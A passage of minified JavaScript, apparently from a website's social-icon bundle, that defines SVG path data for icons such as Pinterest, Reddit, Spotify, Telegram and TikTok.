7.408c-.003-2.299-1.746-4.182-3.79-4.862-2.54-.844-5.888-.722-8.312.453-2.939 1.425-3.862 4.545-3.896 7.656-.028 2.559.22 9.297 3.92 9.345 2.75.036 3.159-3.603 4.43-5.356.906-1.247 2.071-1.599 3.506-1.963 2.465-.627 4.146-2.626 4.142-5.273&quot;})})})},{name:&quot;pinterest-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.289 2C6.617 2 3.606 5.648 3.606 9.622c0 1.846 1.025 4.146 2.666 4.878.25.111.381.063.439-.169.044-.175.267-1.029.365-1.428a.37.37 0 0 0-.091-.362c-.54-.63-.975-1.791-.975-2.873 0-2.777 2.194-5.464 5.933-5.464 3.23 0 5.49 2.108 5.49 5.122 0 3.407-1.794 5.768-4.13 5.768-1.291 0-2.257-1.021-1.948-2.277.372-1.495 1.089-3.112 1.089-4.191 0-.967-.542-1.775-1.663-1.775-1.319 0-2.379 1.309-2.379 3.059 0 1.115.394 1.869.394 1.869s-1.302 5.279-1.54 6.261c-.405 1.666.053 4.368.094 4.604.021.126.167.169.25.063.129-.165 1.699-2.419 2.142-4.051.158-.59.817-2.995.817-2.995.43.784 1.681 1.446 3.013 1.446 3.963 0 6.822-3.494 6.822-7.833C20.394 5.112 16.849 2 12.289 2&quot;})})})},{name:&quot;pinterest&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12c0 4.236 2.636 7.855 6.356 9.312-.087-.791-.166-2.005.035-2.869.182-.78 1.173-4.971 1.173-4.971s-.299-.599-.299-1.484c0-1.39.806-2.429 1.809-2.429.853 0 1.265.641 1.265 1.409 0 .858-.546 2.141-.828 3.329-.236.996.499 1.807 1.481 1.807 1.777 0 3.144-1.874 3.144-4.579 0-2.394-1.72-4.068-4.177-4.068-2.845 0-4.515 2.134-4.515 4.34 0 .859.331 1.781.744 2.282a.3.3 0 0 1 .069.287c-.077.316-.246.995-.279 1.134-.044.183-.145.222-.334.134-1.249-.581-2.03-2.407-2.03-3.874 0-3.154 2.292-6.051 6.607-6.051 3.469 0 6.165 2.472 6.165 5.775 0 3.446-2.173 6.22-5.189 6.22-1.013 0-1.966-.526-2.292-1.148l-.623 2.377c-.226.869-.835 1.957-1.243 2.622.936.289 1.93.445 2.961.445 5.523 0 10-4.477 10-10S17.523 2 12 2&quot;})})})},{name:&quot;pocket-casts&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2c5.523 0 10 4.477 10 10s-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2m0 2.223a7.777 7.777 0 1 0 0 15.555v-1.945A5.833 5.833 0 1 1 17.833 12h1.944A7.777 7.777 0 0 0 12 4.223m0 3.11a4.667 4.667 0 0 0 0 9.334V14.97A2.97 2.97 0 1 1 14.97 12h1.697A4.667 4.667 0 0 0 12 7.333&quot;})})})},{name:&quot;polldaddy&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.487 2 2 6.487 2 12c0 5.514 4.487 10 10 10 5.514 0 10-4.486 10-10 0-5.513-4.486-10-10-10m.991 1.68c2.361.084 4.657 1.251 6.197 3.136.283.334.541.693.774 1.067a7.78 7.78 0 0 0-6.094-2.94 7.76 7.76 0 0 0-5.896 2.703q-.008.006-.016.014l-.152.159-.031.032a6.12 6.12 0 0 0-1.633 4.165 6.15 6.15 0 0 0 6.143 6.143c.57 0 1.123-.081 1.649-.227-1.849.839-4.131.747-5.926-.324-1.841-1.089-3.171-3.111-3.433-5.313A7.39 7.39 0 0 1 6.69 6.137C8.294 4.5 10.634 3.563 12.991 3.68m3.373 8.519c-.049-2.024-1.587-3.889-3.544-4.174-1.927-.343-3.917.857-4.451 2.661a3.67 3.67 0 0 0 .2 2.653c.39.8 1.067 1.451 1.894 1.759 1.664.654 3.63-.27 4.173-1.863.593-1.58-.396-3.423-1.94-3.776-1.52-.407-3.161.757-3.204 2.243a2.36 2.36 0 0 0 .753 1.879c.501.476 1.23.667 1.871.529a2.07 2.07 0 0 0 1.469-1.134 1.91 1.91 0 0 0-.087-1.767c-.297-.513-.859-.863-1.429-.881a1.7 1.7 0 0 0-1.437.679 1.53 1.53 0 0 0-.18 1.489q.006.016.016.03c.193.634.774 1.1 1.467 1.117a1.6 1.6 0 0 1-.97-.183c-.466-.244-.809-.747-.893-1.29a1.8 1.8 0 0 1 .499-1.539 2.02 2.02 0 0 1 1.58-.606c.593.04 1.159.35 1.517.859.364.496.51 1.156.383 1.773-.116.62-.529 1.174-1.093 1.514a2.52 2.52 0 0 1-1.914.286c-.65-.161-1.226-.606-1.584-1.206a2.83 2.83 0 0 1-.341-2.031c.143-.7.573-1.321 1.176-1.753 1.193-.883 3.056-.751 4.106.411 1.106 1.1 1.327 3.027.406 4.371-.877 1.376-2.74 2.086-4.374 1.594-1.639-.449-2.913-2.079-3.031-3.853-.07-.884.13-1.797.583-2.577.445-.777 1.155-1.432 1.972-1.862 1.64-.88 3.816-.743 5.349.424 1.251.924 2.083 2.42 2.236 4.009l.001.03c0 2.9-2.359 5.26-5.26 5.26a5.2 5.2 0 0 1-1.947-.376 5 5 0 0 0 2.613-.079 4.96 4.96 0 0 0 2.514-1.751c.618-.828.95-1.861.901-2.869M12 21.113c-5.024 0-9.111-4.087-9.111-9.113 0-4.789 3.713-8.723 8.411-9.081a7 7 0 0 0-.397.06c-2.644.453-5.017 2.106-6.32 4.409-1.309 2.301-1.391 5.19-.3 7.527 1.056 2.34 3.253 4.156 5.776 4.553 2.497.44 5.133-.483 6.787-2.301 1.719-1.797 2.269-4.529 1.486-6.796-.583-1.81-1.976-3.331-3.7-4.046 3.417.594 6.174 3.221 6.174 6.781 0 1.004-.241 2.02-.657 2.966-1.498 2.984-4.586 5.041-8.149 5.041&quot;})})})},{name:&quot;print&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M9 16h6v2H9zm13 1h-3v3a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2v-3H2V9a2 2 0 0 1 2-2h1V5a2 2 0 0 1 2-2h10a2 2 0 0 1 2 2v2h1a2 2 0 0 1 2 2zM7 7h10V5H7zm10 7H7v6h10zm3-3.5a1.5 1.5 0 1 0-3.001.001A1.5 1.5 0 0 0 20 10.5&quot;})})})},{name:&quot;quora&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M47.736 16.521c-.41-.81-.898-1.631-1.846-1.631a1 1 0 0 0-.527.107l-.322-.644a2.93 2.93 0 0 1 1.836-.595c1.26 0 1.914.605 2.431 1.397a6.8 6.8 0 0 0 .449-2.675c0-2.773-.869-4.199-2.929-4.199-1.992 0-2.851 1.465-2.851 4.199s.859 4.17 2.851 4.17a4 4 0 0 0 .869-.107zm.498.966a6 6 0 0 1-1.367.185 5.27 5.27 0 0 1-5.263-5.204c0-3.114 2.558-5.233 5.263-5.233s5.282 2.109 5.282 5.233a5.08 5.08 0 0 1-1.992 4.072c.381.566.781.956 1.319.956.595 0 .839-.459.878-.82h.781c.049.488-.195 2.48-2.373 2.48-1.319 0-2.012-.761-2.529-1.66zm5.624-2.646v-3.563c0-.371-.146-.586-.615-.586h-.498v-.956h3.251v5.048c0 .849.459 1.231 1.161 1.231a1.56 1.56 0 0 0 1.465-.839V11.28c0-.371-.146-.586-.615-.586h-.527v-.957h3.28v5.302c0 .527.195.732.8.732h.107v.976l-2.929.468V16.21h-.057a3.12 3.12 0 0 1-2.509 1.152c-1.28 0-2.304-.644-2.304-2.558zm12.059 1.611c1.152 0 1.592-1.005 1.611-3.027.02-1.982-.459-2.929-1.611-2.929-1.005 0-1.641.956-1.641 2.929 0 2.021.625 3.027 1.641 3.027m0 .956a3.906 3.906 0 0 1-3.974-3.974c0-2.334 1.836-3.886 3.974-3.886 2.226 0 4.004 1.582 4.004 3.886a3.867 3.867 0 0 1-4.004 3.974m4.072-.146v-.956h.312c.781 0 .859-.224.859-.908v-4.121c0-.371-.215-.586-.732-.586h-.42v-.955h2.968l.146 1.553h.108c.371-1.113 1.221-1.699 2.051-1.699.693 0 1.221.39 1.221 1.181 0 .547-.264 1.093-1.005 1.093-.664 0-.8-.449-1.358-.449-.488 0-.869.468-.869 1.152v2.783c0 .673.166.908.937.908h.439v.956h-4.658zm9.901-1.093c.956 0 1.338-.898 1.338-1.797v-1.211c-.732.722-2.304.742-2.304 2.021 0 .625.371.986.966.986m1.387 0c-.39.752-1.191 1.26-2.314 1.26-1.309 0-2.148-.732-2.148-1.914 0-2.451 3.417-1.797 4.423-3.427v-.185c0-1.25-.488-1.445-1.035-1.445-1.524 0-.83 1.631-2.226 1.631-.673 0-.937-.371-.937-.859 0-.927 1.093-1.67 3.173-1.67 1.963 0 3.163.537 3.163 2.49v3.114q-.02.742.595.742a1 1 0 0 0 .449-.127l.254.615c-.205.312-.752.869-1.836.869-.908 0-1.465-.42-1.543-1.113h-.01zm-68.554 2.558c-.83-1.641-1.807-3.3-3.711-3.3a2.9 2.9 0 0 0-1.093.215l-.644-1.299a5.66 5.66 0 0 1 3.662-1.211c2.548 0 3.857 1.231 4.892 2.792q.917-2.012.908-5.38c0-5.585-1.748-8.417-5.829-8.417-4.033 0-5.76 2.87-5.76 8.417s1.738 8.397 5.76 8.397a5.9 5.9 0 0 0 1.748-.224zm.996 1.953a9.8 9.8 0 0 1-2.744.371C5.614 21.041.371 16.764.371 10.545.371 4.277 5.614 0 10.965 0c5.448 0 10.642 4.248 10.642 10.545a10.25 10.25 0 0 1-4.013 8.201c.732 1.152 1.563 1.914 2.665 1.914 1.201 0 1.689-.927 1.768-1.66h1.572c.088.966-.4 4.999-4.775 4.999-2.646 0-4.052-1.543-5.106-3.339z&quot;})})})},{name:&quot;reddit&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2c5.523 0 10 4.477 10 10s-4.477 10-10 10H3.448a.6.6 0 0 1-.424-1.024L4.93 19.07A9.97 9.97 0 0 1 2 12C2 6.477 6.477 2 12 2m3.656 2.666c-.804 0-1.475.57-1.632 1.33a2.69 2.69 0 0 0-2.4 2.672v.008c-1.466.062-2.804.479-3.866 1.137a2.335 2.335 0 1 0-2.418 3.963c.077 2.711 3.031 4.892 6.665 4.892s6.59-2.183 6.664-4.896a2.336 2.336 0 0 0-1.001-4.445c-.535 0-1.028.18-1.422.484-1.072-.664-2.425-1.08-3.905-1.136v-.007c0-.992.737-1.815 1.693-1.95l.038.134a1.668 1.668 0 0 0 3.25-.52c0-.92-.746-1.666-1.666-1.666M12.005 14.99c.811 0 1.588.04 2.307.112.123.013.201.14.154.254a2.667 2.667 0 0 1-4.922 0 .185.185 0 0 1 .152-.254 23 23 0 0 1 2.309-.112m-3.086-3.344c.654 0 1.154.687 1.115 1.534-.039.846-.527 1.155-1.181 1.155-.655 0-1.228-.345-1.189-1.191.04-.847.601-1.497 1.255-1.498m6.172 0c.654 0 1.216.65 1.255 1.498.039.846-.535 1.191-1.189 1.191-.653 0-1.142-.308-1.181-1.155s.46-1.533 1.115-1.533&quot;})})})},{name:&quot;share&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M18 16c-.788 0-1.499.31-2.034.807L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.048 4.118A3 3 0 0 0 15 19a3 3 0 1 0 3-3&quot;})})})},{name:&quot;sms&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M17.696 4C20.069 4 22 5.973 22 8.398v4.357c0 2.04-1.368 3.783-3.261 4.266v4.427l-5.234-4.295h-7.2C3.93 17.153 2 15.18 2 12.755V8.398C2 5.973 3.931 4 6.304 4zM7.028 8.515c-.98 0-1.66.562-1.66 1.349-.009.497.322.91.985 1.178l.39.142c.242.097.305.171.305.297 0 .162-.131.251-.442.251s-.76-.135-1.004-.284l-.112.046-.215.868c.359.258.832.364 1.33.364 1.104 0 1.764-.523 1.764-1.333-.008-.574-.305-.956-.954-1.216l-.393-.146c-.266-.108-.341-.181-.341-.287 0-.152.131-.243.387-.243.274 0 .587.093.808.214l.109-.047.214-.837c-.315-.224-.741-.316-1.171-.316m10.302 0c-.98 0-1.66.562-1.66 1.349-.008.497.322.91.985 1.178l.39.142c.243.097.305.171.305.297 0 .162-.13.251-.442.251-.311 0-.76-.135-1.004-.284l-.112.046-.215.868c.359.258.832.364 1.33.364 1.104 0 1.764-.523 1.764-1.333-.008-.574-.305-.956-.954-1.216l-.393-.146c-.266-.108-.341-.181-.341-.287 0-.152.131-.243.387-.243.274 0 .587.093.808.214l.109-.047.214-.837c-.316-.224-.741-.316-1.171-.316m-3.733 0c-.297 0-.55.066-.78.202l-.144.098a2 2 0 0 0-.264.247l-.078.095-.027-.077c-.15-.34-.55-.565-1.033-.565l-.169.007a1.36 1.36 0 0 0-.896.42l-.08.09-.038-.363-.075-.067H8.994l-.075.079.024.634c.005.2.008.397.008.604v2.652l.075.075h1.178l.075-.075v-2.269q-.002-.168.042-.274c.083-.23.262-.392.496-.392.314 0 .483.267.483.753v2.182l.075.075h1.179l.075-.075v-2.277c0-.097.016-.213.043-.285.077-.224.26-.373.486-.373.33 0 .5.272.5.817v2.118l.074.075h1.179l.075-.075v-2.293c0-1.131-.537-1.763-1.39-1.763Z&quot;})})})},{name:&quot;snapchat&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M11.989 1.728c3.221.001 5.904 2.683 5.908 5.912q.002 1.133.067 2.094a.737.737 0 0 0 .902.669l1.009-.237a.6.6 0 0 1 .129-.015c.256 0 .492.175.55.434a.74.74 0 0 1-.479.861l-1.532.618a.823.823 0 0 0-.485.98c1.229 4.543 4.661 4.071 4.661 4.662 0 .743-2.587.848-2.821 1.082s-.01 1.368-.532 1.588a1.1 1.1 0 0 1-.409.056c-.393 0-.95-.077-1.536-.077-.509 0-1.04.058-1.507.273-1.239.572-2.433 1.641-3.914 1.641S9.325 21.2 8.086 20.628c-.467-.216-.998-.273-1.507-.273-.586 0-1.143.077-1.536.077-.17 0-.31-.014-.409-.056-.522-.22-.299-1.354-.532-1.588s-2.821-.337-2.821-1.08c0-.592 3.432-.119 4.661-4.662a.824.824 0 0 0-.486-.98l-1.532-.618a.74.74 0 0 1-.479-.861.56.56 0 0 1 .679-.419l1.009.237q.086.02.169.02a.737.737 0 0 0 .733-.689q.065-.961.067-2.094c.004-3.229 2.666-5.91 5.887-5.912m0-1.281c-.961 0-1.898.194-2.784.574A7.2 7.2 0 0 0 6.93 2.572a7.2 7.2 0 0 0-1.539 2.282A7.1 7.1 0 0 0 4.82 7.64a33 33 0 0 1-.029 1.369l-.375-.088a2 2 0 0 0-.421-.049 1.86 1.86 0 0 0-1.135.389 1.84 1.84 0 0 0-.666 1.049 2.024 2.024 0 0 0 1.271 2.335l1.124.454c-.744 2.285-2.117 2.723-3.041 3.018a5 5 0 0 0-.659.246C.087 16.76 0 17.436 0 17.708c0 .521.247.996.694 1.339.223.17.499.311.844.43.47.162 1.016.265 1.459.347.021.164.053.341.106.518.22.738.684 1.069 1.034 1.217.332.14.676.156.905.156.224 0 .462-.018.713-.036.269-.02.548-.041.823-.041.426 0 .743.051.97.155.311.144.64.337.989.542.972.571 2.073 1.217 3.462 1.217s2.49-.647 3.462-1.217c.349-.205.679-.399.989-.542.226-.105.544-.155.97-.155.275 0 .554.021.823.041.251.019.488.036.713.036.229 0 .573-.016.905-.156.35-.147.814-.478 1.034-1.217.053-.178.084-.354.106-.518.443-.082.989-.185 1.459-.347.345-.119.621-.259.844-.43.448-.342.694-.818.694-1.339 0-.272-.087-.948-.891-1.347a5 5 0 0 0-.659-.246c-.924-.295-2.297-.733-3.041-3.018l1.124-.454a2.025 2.025 0 0 0 1.271-2.335 1.83 1.83 0 0 0-.666-1.049 1.86 1.86 0 0 0-1.556-.34l-.375.088a33 33 0 0 1-.029-1.369 7.1 7.1 0 0 0-.575-2.789c-.365-.853-.886-1.62-1.547-2.282s-1.428-1.182-2.28-1.547a7.1 7.1 0 0 0-2.786-.574&quot;})})})},{name:&quot;soundcloud&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M23.587 13.923a3.303 3.303 0 0 1-3.344 3.117h-8.037a.674.674 0 0 1-.667-.67V7.717a.74.74 0 0 1 .444-.705s.739-.512 2.296-.512a5.27 5.27 0 0 1 2.702.742 5.35 5.35 0 0 1 2.516 3.485 3.1 3.1 0 0 1 .852-.116 3.217 3.217 0 0 1 3.237 3.312m-13.05-5.659c.242 2.935.419 5.612 0 8.538a.261.261 0 0 1-.519 0c-.39-2.901-.221-5.628 0-8.538a.26.26 0 0 1 .398-.25.26.26 0 0 1 .12.25zm-1.627 8.541a.273.273 0 0 1-.541 0 32.7 32.7 0 0 1 0-7.533.274.274 0 0 1 .544 0 29.4 29.4 0 0 1-.003 7.533m-1.63-7.788c.264 2.69.384 5.099-.003 7.782a.262.262 0 0 1-.522 0c-.374-2.649-.249-5.127 0-7.782a.264.264 0 0 1 .525 0m-1.631 7.792a.268.268 0 0 1-.532 0 27.6 27.6 0 0 1 0-7.034.27.27 0 1 1 .541 0 25.8 25.8 0 0 1-.01 7.034zm-1.63-5.276c.412 1.824.227 3.435-.015 5.294a.255.255 0 0 1-.504 0c-.22-1.834-.402-3.482-.015-5.295a.268.268 0 0 1 .535 0m-1.626-.277c.378 1.869.254 3.451-.01 5.325-.031.277-.506.28-.531 0-.239-1.846-.352-3.476-.01-5.325a.277.277 0 0 1 .551 0m-1.643.907c.396 1.239.261 2.246-.016 3.517a.258.258 0 0 1-.514 0c-.239-1.246-.336-2.274-.021-3.517a.276.276 0 0 1 .55 0z&quot;})})})},{name:&quot;spotify&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424a.62.62 0 0 1-.857.207c-2.348-1.435-5.304-1.76-8.785-.964a.622.622 0 1 1-.277-1.215c3.809-.871 7.077-.496 9.713 1.115a.623.623 0 0 1 .206.857M17.81 13.7a.78.78 0 0 1-1.072.257c-2.687-1.652-6.785-2.131-9.965-1.166A.779.779 0 1 1 6.32 11.3c3.632-1.102 8.147-.568 11.234 1.328a.78.78 0 0 1 .256 1.072m.105-2.835c-3.223-1.914-8.54-2.09-11.618-1.156a.935.935 0 1 1-.542-1.79c3.532-1.072 9.404-.865 13.115 1.338a.936.936 0 1 1-.955 1.608&quot;})})})},{name:&quot;squarespace&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M20.87 9.271a3.86 3.86 0 0 0-5.458 0l-6.141 6.141a.964.964 0 1 0 1.365 1.364l6.14-6.14a1.929 1.929 0 1 1 2.729 2.729l-6.022 6.022a1.93 1.93 0 0 0 2.729 0l4.658-4.658a3.86 3.86 0 0 0 0-5.458m-2.047 2.047a.965.965 0 0 0-1.365 0l-6.14 6.14a1.93 1.93 0 0 1-2.729 0 .964.964 0 1 0-1.364 1.364 3.86 3.86 0 0 0 5.458 0l6.14-6.14a.966.966 0 0 0 0-1.364m-2.047-6.141a3.86 3.86 0 0 0-5.458 0l-6.14 6.14a.964.964 0 1 0 1.364 1.364l6.141-6.14a1.93 1.93 0 0 1 2.729 0 .965.965 0 1 0 1.364-1.364m-2.047 2.047a.964.964 0 0 0-1.364 0l-6.14 6.141a1.929 1.929 0 1 1-2.729-2.729l6.022-6.022a1.93 1.93 0 0 0-2.729 0L3.13 9.271a3.86 3.86 0 0 0 5.458 5.458l6.14-6.141a.963.963 0 0 0 .001-1.364&quot;})})})},{name:&quot;stackexchange&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M4 11.606h16v3.272H4zM4 7.377h16v3.272H4zM17.514 3H6.55C5.147 3 4 4.169 4 5.614v.848h16v-.85C20 4.167 18.895 3 17.514 3M4 15.813v.85c0 1.445 1.147 2.614 2.55 2.614h6.799v3.463l3.357-3.463h.744c1.402 0 2.55-1.169 2.55-2.614v-.85z&quot;})})})},{name:&quot;stackoverflow&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsxs)(&quot;g&quot;,{children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M18.18 20.103V14.78h1.767v7.09H4v-7.09h1.767v5.323z&quot;}),(0,r.jsx)(&quot;path&quot;,{d:&quot;m7.717 14.275 8.673 1.813.367-1.744-8.673-1.813zm1.147-4.13 8.031 3.74.734-1.606-8.031-3.763zm2.226-3.946 6.815 5.667 1.124-1.354-6.815-5.667zM15.495 2l-1.423 1.055 5.277 7.113 1.423-1.055zM7.533 18.314h8.857v-1.767H7.533z&quot;})]})})},{name:&quot;stumbleupon&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 4.294a4.47 4.47 0 0 0-4.471 4.471v6.353a1.059 1.059 0 1 1-2.118 0v-2.824H2v2.941a4.471 4.471 0 0 0 8.942 0v-6.47a1.059 1.059 0 1 1 2.118 0v1.294l1.412.647 2-.647V8.765A4.473 4.473 0 0 0 12 4.294m1.059 8.059v2.882a4.471 4.471 0 0 0 8.941 0v-2.824h-3.412v2.824a1.059 1.059 0 1 1-2.118 0v-2.882l-2 .647z&quot;})})})},{name:&quot;substack&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M19.904 9.182H4.095V7.054h15.81v2.127M4.095 11.109V21L12 16.583 19.905 21v-9.891zM19.905 3H4.095v2.127h15.81z&quot;})})})},{name:&quot;telegram&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m3.08 14.757s-.25.625-.936.325l-2.541-1.949-1.63 1.486s-.127.096-.266.036c0 0-.12-.011-.27-.486s-.911-2.972-.911-2.972L6 12.349s-.387-.137-.425-.438c-.037-.3.437-.462.437-.462l10.03-3.934s.824-.362.824.238z&quot;})})})},{name:&quot;threads&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 192 192&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M141.537 88.988a67 67 0 0 0-2.518-1.143c-1.482-27.307-16.403-42.94-41.457-43.1h-.34c-14.986 0-27.449 6.396-35.12 18.036l13.779 9.452c5.73-8.695 14.724-10.548 21.348-10.548h.229c8.249.053 14.474 2.452 18.503 7.129 2.932 3.405 4.893 8.111 5.864 14.05-7.314-1.243-15.224-1.626-23.68-1.14-23.82 1.371-39.134 15.264-38.105 34.568.522 9.792 5.4 18.216 13.735 23.719 7.047 4.652 16.124 6.927 25.557 6.412 12.458-.683 22.231-5.436 29.049-14.127 5.178-6.6 8.453-15.153 9.899-25.93 5.937 3.583 10.337 8.298 12.767 13.966 4.132 9.635 4.373 25.468-8.546 38.376-11.319 11.308-24.925 16.2-45.488 16.351-22.809-.169-40.06-7.484-51.275-21.742C35.236 139.966 29.808 120.682 29.605 96c.203-24.682 5.63-43.966 16.133-57.317C56.954 24.425 74.204 17.11 97.013 16.94c22.975.17 40.526 7.52 52.171 21.847 5.71 7.026 10.015 15.86 12.853 26.162l16.147-4.308c-3.44-12.68-8.853-23.606-16.219-32.668C147.036 9.607 125.202.195 97.07 0h-.113C68.882.194 47.292 9.642 32.788 28.08 19.882 44.485 13.224 67.315 13.001 95.932L13 96v.067c.224 28.617 6.882 51.447 19.788 67.854C47.292 182.358 68.882 191.806 96.957 192h.113c24.96-.173 42.554-6.708 57.048-21.189 18.963-18.945 18.392-42.692 12.142-57.27-4.484-10.454-13.033-18.945-24.723-24.553M98.44 129.507c-10.44.588-21.286-4.098-21.82-14.135-.397-7.442 5.296-15.746 22.461-16.735q2.948-.17 5.79-.169c6.235 0 12.068.606 17.371 1.765-1.978 24.702-13.58 28.713-23.802 29.274&quot;})})})},{name:&quot;tiktok-alt&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M5 3a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2zm7.531 3h2.053s-.114 2.635 2.85 2.82v2.04s-1.582.099-2.85-.87l.021 4.207a3.804 3.804 0 1 1-3.802-3.802h.533v2.082a1.73 1.73 0 0 0-1.922.648 1.727 1.727 0 0 0 1.947 2.646 1.73 1.73 0 0 0 1.19-1.642z&quot;})})})},{name:&quot;tiktok&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsx)(&quot;g&quot;,{children:(0,r.jsx)(&quot;path&quot;,{d:&quot;M12.22 2h3.42s-.19 4.394 4.75 4.702v3.396s-2.636.166-4.75-1.448l.037 7.012a6.338 6.338 0 1 1-6.34-6.339h.89v3.472a2.882 2.882 0 1 0 2.024 2.752z&quot;})})})},{name:&quot;tripadvisor&quot;,svg:(0,r.jsx)(&quot;svg&quot;,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,r.jsxs)(&quot;g&quot;,{children:[(0,r.jsx)(&quot;path&quot;,{d:&quot;M21.01 9.859c.236-1.002.985-2.003.985-2.003l-3.341-.002C16.779 6.643 14.502 6 11.979 6 9.363 6 7 6.659 5.135 7.877L2 7.88s.74.988.98 1.983a4.98 4.98 0 0 0-.977 2.961 5.01 5.01 0 0 0 5.009 5.003 5 5 0 0 0 3.904-1.875l1.065 1.592 1.076-1.606a4.96 4.96 0 0 0 1.838 1.448 4.98 4.98 0 0 0 3.831.151 5.01 5.01 0 0 